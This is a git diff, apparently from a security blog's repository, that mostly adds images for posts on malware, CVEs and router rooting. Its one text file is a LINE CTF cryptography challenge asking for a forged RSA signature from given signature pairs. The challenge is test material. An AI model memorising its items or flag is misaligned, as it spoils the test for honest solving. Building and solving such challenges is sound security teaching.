b/docs/assets/2021-07-29-malwareAPK.asset/7.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/8 1.png b/docs/assets/2021-07-29-malwareAPK.asset/8 1.png new file mode 100644 index 0000000..6c50387 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/8 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/8.png b/docs/assets/2021-07-29-malwareAPK.asset/8.png new file mode 100644 index 0000000..39795b4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/8.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/9.png b/docs/assets/2021-07-29-malwareAPK.asset/9.png new file mode 100644 index 0000000..d6a01fc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/9.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png b/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png new file mode 100644 index 0000000..1518345 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/ex.png b/docs/assets/2021-07-29-malwareAPK.asset/ex.png new file mode 100644 index 0000000..4265056 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/ex.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png new file mode 100644 index 0000000..573d018 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png new file mode 100644 index 0000000..de5d8af Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png new file mode 100644 index 0000000..461b584 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png new file mode 100644 index 0000000..9d1b23a Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png new file mode 100644 index 0000000..f61b408 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png new file mode 100644 index 0000000..3be2152 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png new file mode 100644 index 0000000..04bb0ce Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/profile.png b/docs/assets/2021-08-20-CVE-2020-26934/profile.png new file mode 100644 index 0000000..2fba53c Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/profile.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png b/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png new file mode 100644 index 0000000..95c656e Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png differ diff --git a/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png b/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png new file mode 100644 index 0000000..9995cb3 Binary files /dev/null and b/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png differ diff --git a/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png b/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png new file mode 100644 index 0000000..9064286 Binary files /dev/null and b/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg b/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg new file mode 100644 index 0000000..536600b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg b/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg new file mode 100644 index 0000000..22b1918 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png b/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png new file mode 100644 index 0000000..7476f4b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png b/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png new file mode 100644 index 0000000..f10a8a8 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png b/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png new file mode 100644 index 0000000..b97ba6f Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png b/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png new file mode 100644 index 0000000..c4cae0b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png b/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png new file mode 100644 index 0000000..c94e33e Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png b/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png new file mode 100644 index 0000000..fe9dba0 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png b/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png new file mode 100644 index 0000000..f4a9b98 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png b/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png new file mode 100644 index 0000000..bf18b15 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png b/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png new file mode 100644 index 0000000..bc520a9 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png new file mode 100644 index 0000000..3d07c05 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png b/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png new file mode 100644 index 0000000..d3c84c5 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png b/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png new file mode 100644 index 0000000..1fa2fa7 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png b/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png new file mode 100644 index 0000000..7d91723 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png b/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png new file mode 100644 index 0000000..412a69c Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png b/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png new file mode 100644 index 0000000..0a641a2 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png b/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png new file mode 100644 index 0000000..5d28860 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png b/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png new file mode 100644 index 0000000..db4216c Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png new file mode 100644 index 0000000..3245548 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png b/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png new file mode 100644 index 0000000..0d8fb75 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png new file mode 100644 index 0000000..b11ea82 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png b/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png new file mode 100644 index 0000000..b5ed4d9 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png b/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png new file mode 100644 index 0000000..6034f3f Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg b/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg new file mode 100644 index 0000000..aea8c40 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md b/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md new file mode 100644 index 0000000..0c65a17 --- /dev/null +++ b/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md @@ -0,0 +1,17 @@ +I have generated a RSA-1024 key pair: +* public key exponent: 0x10001 +* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 + +Here are some known plain -> signature pairs I generated using my private key: +* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 +* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 +* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a +* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c +* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb +* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd +* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a + +**What is the signature of 0x686178656c696f6e?** + +Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag. +E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`. \ No newline at end of file diff --git a/docs/assets/2022-06-30-2022_3s_review/banner.png b/docs/assets/2022-06-30-2022_3s_review/banner.png new file mode 100644 index 0000000..70894c0 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/banner.png differ diff --git a/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg b/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg new file mode 100644 index 0000000..d326b63 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg b/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg new file mode 100644 index 0000000..49b3093 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg b/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg new file mode 100644 index 0000000..19a7a1d Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg b/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg new file mode 100644 index 0000000..1b8f66f Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/snwo.jpg b/docs/assets/2022-06-30-2022_3s_review/snwo.jpg new file mode 100644 index 0000000..b4f6f72 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/snwo.jpg differ diff --git a/docs/assets/2022-06-30-PDF-with-React/chart.png b/docs/assets/2022-06-30-PDF-with-React/chart.png new file mode 100644 index 0000000..16c6e83 Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/chart.png differ diff --git a/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png b/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png new file mode 100644 index 0000000..a5f7268 Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png differ diff --git a/docs/assets/2022-06-30-PDF-with-React/react-pdf.png b/docs/assets/2022-06-30-PDF-with-React/react-pdf.png new file mode 100644 index 0000000..a0ebb3c Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/react-pdf.png differ diff --git a/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png b/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png new file mode 100644 index 0000000..d729b2b Binary files /dev/null and b/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png differ diff --git a/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png b/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png new file mode 100644 index 0000000..ea25032 Binary files /dev/null and b/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg b/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg new file mode 100644 index 0000000..90f43ff Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png b/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png new file mode 100644 index 0000000..80e1474 Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg b/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg new file mode 100644 index 0000000..20e0b45 Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png new file mode 100644 index 0000000..f536ce7 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png new file mode 100644 index 0000000..b0420f7 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png new file mode 100644 index 0000000..81ec473 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png new file mode 100644 index 0000000..8715c56 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png new file mode 100644 index 0000000..6011163 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png new file mode 100644 index 0000000..fc17ac6 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png new file mode 100644 index 0000000..626e01e Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png new file mode 100644 index 0000000..e5569fa Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png new file mode 100644 index 0000000..626e01e Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png new file mode 100644 index 0000000..cb98430 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png new file mode 100644 index 0000000..3cf7c40 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png new file mode 100644 index 0000000..cfd3ce1 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png new file mode 100644 index 0000000..0ad459c Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png new file mode 100644 index 0000000..131f410 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png new file mode 100644 index 0000000..1135483 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png new file mode 100644 index 0000000..d49baf0 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png new file mode 100644 index 0000000..6089b63 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png new file mode 100644 index 0000000..df4f0d8 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png new file mode 100644 index 0000000..b5cb3a4 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png new file mode 100644 index 0000000..51f985b Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png new file mode 100644 index 0000000..57f3e64 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png new file mode 100644 index 0000000..ecd6c63 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png new file mode 100644 index 0000000..30d82fb Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png new file mode 100644 index 0000000..383b680 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png new file mode 100644 index 0000000..5fa962f Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png new file mode 100644 index 0000000..295fe69 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png new file mode 100644 index 0000000..f63b914 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png new file mode 100644 index 0000000..9d565dd Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png new file mode 100644 index 0000000..acaa313 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png new file mode 100644 index 0000000..864c8df Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png new file mode 100644 index 0000000..a7ccdd4 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png new file mode 100644 index 0000000..9ec813a Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png new file mode 100644 index 0000000..febb0eb Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png new file mode 100644 index 0000000..790a2a3 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png new file mode 100644 index 0000000..d1db8c5 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png 